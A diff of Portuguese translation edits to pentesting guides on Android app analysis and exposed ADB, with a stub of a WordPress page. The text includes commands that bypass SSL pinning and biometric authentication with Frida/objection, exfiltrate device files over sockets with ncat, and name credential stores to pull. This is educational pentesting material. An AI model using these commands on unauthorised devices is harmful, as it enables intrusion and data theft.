 > [!TIP]
-> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
+> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
 
 **Dados sensíveis armazenados em texto claro**
 
@@ -162,7 +162,7 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
 
 **Uso de Algoritmos Inseguros e/ou Obsoletos**
 
-Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **força bruta** com sal.
+Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **brute-force** com sal.
 
 ### Outras verificações
 
@@ -174,7 +174,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
 
 ### Aplicação React Native
 
-Leia a seguinte página para aprender como acessar facilmente o código javascript de aplicações React:
+Leia a página a seguir para aprender como acessar facilmente o código javascript de aplicações React:
 
 {{#ref}}
 react-native-application.md
@@ -182,7 +182,7 @@ react-native-application.md
 
 ### Aplicações Xamarin
 
-Leia a seguinte página para aprender como acessar facilmente o código C# de aplicações xamarin:
+Leia a página a seguir para aprender como acessar facilmente o código C# de aplicações xamarin:
 
 {{#ref}}
 ../xamarin-apps.md
@@ -192,9 +192,9 @@ Leia a seguinte página para aprender como acessar facilmente o código C# de ap
 
 De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
 
-### Análise de Código Estática Automatizada
+### Análise Estática Automatizada de Código
 
-A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
+A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
 
 Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
 
@@ -260,7 +260,7 @@ Para **instalar os serviços do google** (como AppStore) no Genymotion, você pr
 
 ![](<../../images/image (277).png>)
 
-Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de Rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
+Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
 
 #### Usar um dispositivo físico
 
@@ -285,9 +285,9 @@ Os desenvolvedores devem ter cuidado ao expor **informações de depuração** p
 > Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
 > De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
 
-**Cache do Buffer de Copiar/Colar**
+**Cache de Buffer de Copiar/Colar**
 
-O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
+O framework **baseado em clipboard** do Android permite funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
 
 **Logs de Crash**
 
@@ -308,10 +308,10 @@ Se o banco de dados estiver salvando informações confidenciais e estiver **cri
 
 Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema <table_name>`.
 
-### Drozer (Explorar Atividades Exportadas, Provedores de Conteúdo e Serviços)
+### Drozer (Exploit Activities, Content Providers e Services)
 
 Do [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado pode fazer**, como fazer uso do mecanismo de Comunicação Inter-Processo (IPC) do Android e interagir com o sistema operacional subjacente.\
-Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Provedores de Conteúdo**, como você aprenderá nas seções seguintes.
+Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Content Providers**, como você aprenderá nas seções seguintes.
 
 ### Explorando Atividades Exportadas
 
@@ -320,7 +320,7 @@ Além disso, lembre-se de que o código de uma atividade começa no método **`o
 
 **Bypass de Autorização**
 
-Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os **mecanismos de autenticação** **para acessá-la.**
+Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os mecanismos de **autenticação** **para acessá-la.**
 
 [**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
 
@@ -344,27 +344,27 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 
 Se o tapjacking não for prevenido, você pode abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking).
 
-### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
+### Explorando Content Providers - Acessando e manipulando informações sensíveis
 
-[**Leia isso se você quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
-Provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
+[**Leia isso se você quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\
+Content providers são basicamente usados para **compartilhar dados**. Se um aplicativo tiver content providers disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
 
-[**Aprenda como explorar Provedores de Conteúdo com Drozer.**](drozer-tutorial/index.html#content-providers)
+[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers)
 
-### **Explorando Serviços**
+### **Explorando Services**
 
-[**Leia isso se você quiser relembrar o que é um Serviço.**](android-applications-basics.md#services)\
-Lembre-se de que as ações de um Serviço começam no método `onStartCommand`.
+[**Leia isso se você quiser relembrar o que é um Service.**](android-applications-basics.md#services)\
+Lembre-se de que as ações de um Service começam no método `onStartCommand`.
 
-Um serviço é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
-[**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/index.html#services)
+Um service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
+[**Aprenda como explorar Services com Drozer.**](drozer-tutorial/index.html#services)
 
 ### **Explorando Broadcast Receivers**
 
 [**Leia isso se você quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
 Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`.
 
-Um broadcast receiver estará esperando por um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
+Um broadcast receiver estará aguardando um tipo de mensagem. Dependendo de como o receiver lida com a mensagem, ele pode ser vulnerável.\
 [**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
 
 ### **Explorando Schemes / Deep links**
@@ -394,7 +394,7 @@ Toda vez que você encontrar um deep link, verifique se **não está recebendo d
 **Parâmetros no caminho**
 
 Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
-Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
+Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
 
 **Mais exemplos**
 
@@ -402,7 +402,7 @@ Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618)
 
 ### Inspeção e Falhas de Verificação da Camada de Transporte
 
-- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para usar conexões HTTP.
+- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para o uso de conexões HTTP.
 - **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decriptografem os dados.
 - **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
 
@@ -426,7 +426,7 @@ Se **Flutter** estiver sendo usado, você precisa seguir as instruções nesta [
 
 Quando o SSL Pinning é implementado, contorná-lo se torna necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse propósito:
 
-- Modifique automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). O melhor pró dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
+- Modificar automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). O melhor pró dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
 - Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 - Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 - Você também pode tentar **contornar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
@@ -452,7 +452,7 @@ Se você quiser fazer pentesting em aplicativos Android, precisa saber como usar
 
 Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
 
-Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do app com:
+Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do aplicativo com:
 ```bash
 # With PID
 python3 fridump3.py -u <PID>
@@ -477,13 +477,13 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 ```
 ### **Bypass de Impressão Digital/Biometria**
 
-Usando o seguinte script Frida, pode ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
+Usando o seguinte script Frida, pode ser possível **bypassar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
 ```bash
 frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
 ```
 ### **Imagens de Fundo**
 
-Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do app, fazendo parecer que o app foi carregado mais rápido.
+Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, fazendo parecer que o aplicativo foi carregado mais rápido.
 
 No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (note que você precisa de root para acessá-lo).
 
@@ -495,7 +495,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
 ### **Analisador de Aplicações Android**
 
-Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Injeção de Intent
 
@@ -516,7 +516,7 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
 
 - **Injeção SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de usar consultas parametrizadas.
 - **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
-- **Inclusão de Arquivos Locais:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
+- **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
 - **Cookies Eternos**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco.
 - [**Secure Flag** em cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
@@ -538,25 +538,25 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 Observe que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **e Windows**(apx) aplicações (_As aplicações do Windows devem ser analisadas a partir de um MobSF instalado em um host Windows_).\
 Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá para a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
 
-O MobSF também permite que você **diff/Compare** análises e integre **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **upload** em vez do arquivo.
+O MobSF também permite que você faça uma análise **diff/Compare** e integre o **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
 
 ### Análise Dinâmica Assistida com MobSF
 
 **MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
 O **analisador dinâmico do MobSF** pode:
 
-- **Dump de dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
+- **Extrair dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
 - Capturar **tráfego HTTPS**
 - Usar **Frida** para obter **informações em tempo de execução**
 
-A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida** e definirá configurações de **proxy** globais para **capturar** tráfego. Ele capturará apenas o tráfego do aplicativo testado.
+A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida** e definirá configurações de **proxy** globais para **capturar** o tráfego. Ele capturará apenas o tráfego do aplicativo testado.
 
 **Frida**
 
-Por padrão, ele também usará alguns Scripts Frida para **bypassar SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
+Por padrão, ele também usará alguns Scripts Frida para **contornar o SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
 O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
 
-Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
+Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
 O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
@@ -568,13 +568,13 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
 - **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
 - **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
 - **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
-- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android.
+- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API do Android.
 
-Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
+Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**".
 
 **Shell**
 
-O MobSF também traz um shell com alguns comandos **adb**, comandos **MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
+O MobSF também oferece um shell com alguns comandos **adb**, **comandos MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
 ```bash
 help
 shell ls
@@ -585,10 +585,10 @@ receivers
 ```
 **Ferramentas HTTP**
 
-Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**HTTP(S) Traffic**" na parte inferior ou uma visão mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
-Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
+Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
+Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
-Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
+Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar vulnerabilidades.
 
 > [!TIP]
 > Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
@@ -599,7 +599,7 @@ Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar
 
 ### Análise Dinâmica Assistida com Inspeckage
 
-Você pode obter a ferramenta de [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
+Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
 Esta ferramenta usará alguns **Hooks** para te informar **o que está acontecendo na aplicação** enquanto você realiza uma **análise dinâmica**.
 
 ### [Yaazhini](https://www.vegabird.com/yaazhini/)
@@ -610,7 +610,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um "Proof-of-Concept" APK implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
+Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK "Proof-of-Concept" implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -652,7 +652,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-O AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
+AndroBugs Framework é um sistema de análise de vulnerabilidades Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -695,13 +695,13 @@ Observe que dependendo do serviço e configuração que você usa para ofuscar o
 
 Do [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
 
-ProGuard é distribuído como parte do SDK do Android e é executado ao construir a aplicação em modo de lançamento.
+ProGuard é distribuído como parte do SDK do Android e é executado ao construir o aplicativo em modo de lançamento.
 
 ### [DexGuard](https://www.guardsquare.com/dexguard)
 
 Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 
-(Daquele guia) Na última vez que verificamos, o modo de operação do Dexguard era:
+(Daquele guia) Da última vez que verificamos, o modo de operação do Dexguard era:
 
 - carregar um recurso como um InputStream;
 - alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo;
@@ -735,7 +735,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
 
 ### [Androl4b](https://github.com/sh4hin/Androl4b)
 
-AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e labs de diferentes especialistas em segurança e pesquisadores para engenharia reversa e análise de malware.
+AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e labs de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware.
 
 ## Referências
 

src/network-services-pentesting/5555-android-debug-bridge.md

@@ -9,7 +9,7 @@ Do [documentos](https://developer.android.com/studio/command-line/adb):
 Android Debug Bridge (adb) é uma ferramenta de linha de comando para se comunicar com dispositivos e emuladores baseados em Android. As ações típicas incluem instalar pacotes, depurar e obter um shell Unix interativo no dispositivo.
 
 - Porta TCP padrão histórica: 5555 (modo clássico "adb tcpip").
-- A depuração sem fio moderna (Android 11+) usa emparelhamento TLS e descoberta de serviço mDNS. A porta de conexão é dinâmica e descoberta via mDNS; pode não ser 5555. O emparelhamento é feito com adb pair host:port seguido de adb connect. Veja as notas abaixo para implicações ofensivas.
+- A depuração sem fio moderna (Android 11+) usa emparelhamento TLS e descoberta de serviço mDNS. A porta de conexão é dinâmica e descoberta via mDNS; pode não ser 5555. O emparelhamento é feito com adb pair host:port seguido por adb connect. Veja as notas abaixo para implicações ofensivas.
 
 Exemplo de impressão digital nmap:
 ```
@@ -61,9 +61,9 @@ adb pull "/sdcard/<pkg>"
 - Artefatos de sistema úteis (root necessário):
 - /data/system/users/0/accounts.db e dados relacionados ao AccountManager
 - /data/misc/wifi/ (configurações/chaves de rede em versões mais antigas)
-- DBs SQLite específicos do aplicativo e shared_prefs em /data/data/<pkg>
+- DBs SQLite específicos de aplicativos e shared_prefs em /data/data/<pkg>
 
-Você pode usar isso para recuperar informações sensíveis (por exemplo, segredos do aplicativo). Para notas sobre considerações de dados do Chrome, veja a questão referenciada [aqui](https://github.com/carlospolop/hacktricks/issues/274).
+Você pode usar isso para recuperar informações sensíveis (por exemplo, segredos de aplicativos). Para notas sobre considerações de dados do Chrome, veja a questão referenciada [aqui](https://github.com/carlospolop/hacktricks/issues/274).
 
 ### Execução de código e entrega de payload
 
@@ -92,7 +92,7 @@ adb forward tcp:8081 tcp:8080     # Expor o servidor de depuração local do apl
 ```bash
 adb reverse tcp:1080 tcp:1080     # Aplicativos do dispositivo agora podem acessar host:1080 como 127.0.0.1:1080
 ```
-- Exfiltração de arquivos através de sockets (sem gravações no sdcard):
+- Exfiltração de arquivos sobre sockets (sem gravações no sdcard):
 ```bash
 # No host: escutar
 ncat -lvp 9000 > dump.tar
@@ -115,7 +115,7 @@ Notas
 - _adb-tls-pairing._tcp (pareamento)
 - _adb-tls-connect._tcp (conexão pareada)
 - _adb._tcp (legado/simples)
-- Se o mDNS estiver filtrado, a habilitação clássica assistida por USB ainda pode funcionar em algumas versões: `adb tcpip 5555` então `adb connect <ip>:5555` (até reinicialização).
+- Se o mDNS estiver filtrado, a habilitação clássica assistida por USB ainda pode funcionar em algumas versões: `adb tcpip 5555` então `adb connect <ip>:5555` (até reiniciar).
 
 Implicações ofensivas: se você puder interagir com a interface do dispositivo (por exemplo, acesso físico ou configuração incorreta de MDM móvel) para habilitar a depuração sem fio e visualizar o código de pareamento, você pode estabelecer um canal ADB pareado de longa duração sem um cabo. Alguns OEMs expõem ADB sobre TCP em imagens de engenharia/desenvolvimento sem pareamento—sempre verifique.
 

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -26,7 +26,7 @@
 - A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
